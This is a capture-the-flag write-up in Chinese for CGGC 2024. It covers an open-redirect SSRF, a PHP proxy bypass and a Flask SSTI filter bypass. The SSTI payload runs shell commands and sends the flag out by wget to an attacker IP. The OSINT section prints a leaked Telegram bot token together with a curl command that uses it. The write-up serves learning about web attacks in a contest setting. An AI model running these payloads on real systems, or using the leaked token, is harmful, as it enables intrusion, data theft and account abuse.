CGGC 2024 Write Up by 驚魚

Before all

又來打國網中心的CGGC啦XD
是跟 @naup @flydragon 和 @aukro 的蛋糕小隊久違出賽的,又是一場復仇賽,也算是第一次打正常的CTF破台Web,簡單紀錄下ㄅ(小吐槽,proxy那題可以用第一題unintended掉真的很玄)

image

只能說我今年盡力了,奈何我真的只能打Web和Crypto啊zzz

Web

Preview Site

給ㄌ一個網站,hardcoded credentials(guest/guest),logout可以openredirect:

無腦open redirect to SSRF
payload:

1
http://previewsite/logout?next=file:///flag

image

Flag: CGGC{open_redirect_to_your_local_file_2893hrgiubf3wq1}

prxoy

一個php網站,看起來就是php -S 0.0.0.0:80 index.php架設起來的
source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

function proxy($service) {
// $service = "switchrange";
// $service = "previewsite";
// $service = "越獄";
$requestUri = $_SERVER['REQUEST_URI'];
$parsedUrl = parse_url($requestUri);

$port = 80;
if (isset($_GET['port'])) {
$port = (int)$_GET['port'];
} else if ($_COOKIE["port"]) {
$port = (int)$_COOKIE['port'];
}
setcookie("service", $service);
setcookie("port", $port);
$ch = curl_init();
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$filter = '!$%^&*()=+[]{}|;\'",<>?_-/#:.\\@';
$fixeddomain = trim(trim($service, $filter).".cggc.chummy.tw:".$port, $filter);
$fixeddomain = idn_to_ascii($fixeddomain);
$fixeddomain = preg_replace('/[^0-9a-zA-Z-.:_]/', '', $fixeddomain);
curl_setopt($ch, CURLOPT_URL, 'http://'.$fixeddomain.$parsedUrl['path'].'?'.$_SERVER['QUERY_STRING']);
curl_exec($ch);
curl_close($ch);
}

if (!isset($_GET['service']) && !isset($_COOKIE["service"])) {
highlight_file(__FILE__);
} else if (isset($_GET['service'])) {
proxy($_GET['service']);
} else {
proxy($_COOKIE["service"]);
}

要請求 http://secretweb/flag 拿到flag,注意一下程式碼會發現$fixeddomain參數疑似不可控(塞/之類的),只能摸索一些其他東西
幾個觀察:

  1. idn_to_ascii限制域名大小最多為63,超出去就直接變空值
  2. curl是可以請求http:///而且不受影響的
  3. 前面會說是php -S架起來的是因為請求/meow依然可以正常回顯

再回來關注這段:

1
curl_setopt($ch, CURLOPT_URL, 'http://'.$fixeddomain.$parsedUrl['path'].'?'.$_SERVER['QUERY_STRING']);

其實只要讓$fixeddomain為空,$parsedUrl並不會受限,就可以直接請求get flagㄌ
Payload:

1
http://10.99.66.6/secretweb/flag?service=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Flag: CGGC{1Dn_7O_45c11_5o_57R4n9E_11fc26f06c33e83f65ade64679dc0e58}

Breakjail Online 🛜

一個Free SSTI但有符號和長度限制
app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from flask import Flask, render_template_string, request

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
return "Hello, World! <br><a href='/SsTiMe'>SSTI me</a> :/"

@app.route('/SsTiMe', methods=['GET'])
def showip():
# WOW! There has a SSTI in Flask!!!
q = request.args.get('q', "'7'*7")

# prevent smuggling bad payloads!
request.args={}
request.headers={}
request.cookies={}
request.data ={}
request.query_string = b"#"+request.query_string

if any([x in "._.|||" for x in q]) or len(q) > 88:
return "Too long for me :/ my payload less than 73 chars"

res = render_template_string(f"{{{{{q}}}}}",
# TODO: just for debugging, remove this in production
breakpoint=breakpoint,
str=str
)

# oops, I just type 'res' not res qq
return 'res=7777777'

基本上就是各種找Gadget去繞,我是用lipsum.__globals__.os.popen去跳,.blablabla可以用["blablabla"]取代,_可以用\x5f去繞,結束 :D

剩下的trick就是ip換成十進制,然後透過wget和”`“去讀flag
image

Payload:

1
http://10.99.66.7:10003/SsTiMe?q=lipsum["\x5f\x5fglobals\x5f\x5f"]["os"]["system"]("wget 395507846:1/`cat /flag*`")

長度86 >w<b

Flag: CGGC{breakpoint_is_a_biiiig_gadget_oj237rpwd3i2}

MISC

Day31- 水落石出!真相大白的十一月預告信?

題目說是OSINT
https://ithelp.ithome.com.tw/users/20168875/ironman/7849

看到這篇文章
https://ithelp.ithome.com.tw/articles/10363058
image

API Key大大大洩漏
image

1
curl "https://api.telegram.org/bot7580842046:AAEKmOz8n3C265m2_XSv8cGFbBHg7mcnbMM/getUpdates" | grep CGGC

Flag: CGGC{1_h8t3_y0u_K41d0_K4zm4}

After all

打起來算開心(?)
很喜歡跟隊友一起討論題目的感覺,而且我似乎是不錯的助攻角色(?)
像是Reverse第二題打的時候我提出嘗試跳一組明文密文對跳ChaCha20特性xor解、隊友的pyjail進到pdb後也是我再跳一次jail的,希望之後能繼續享受這種討論的感覺XD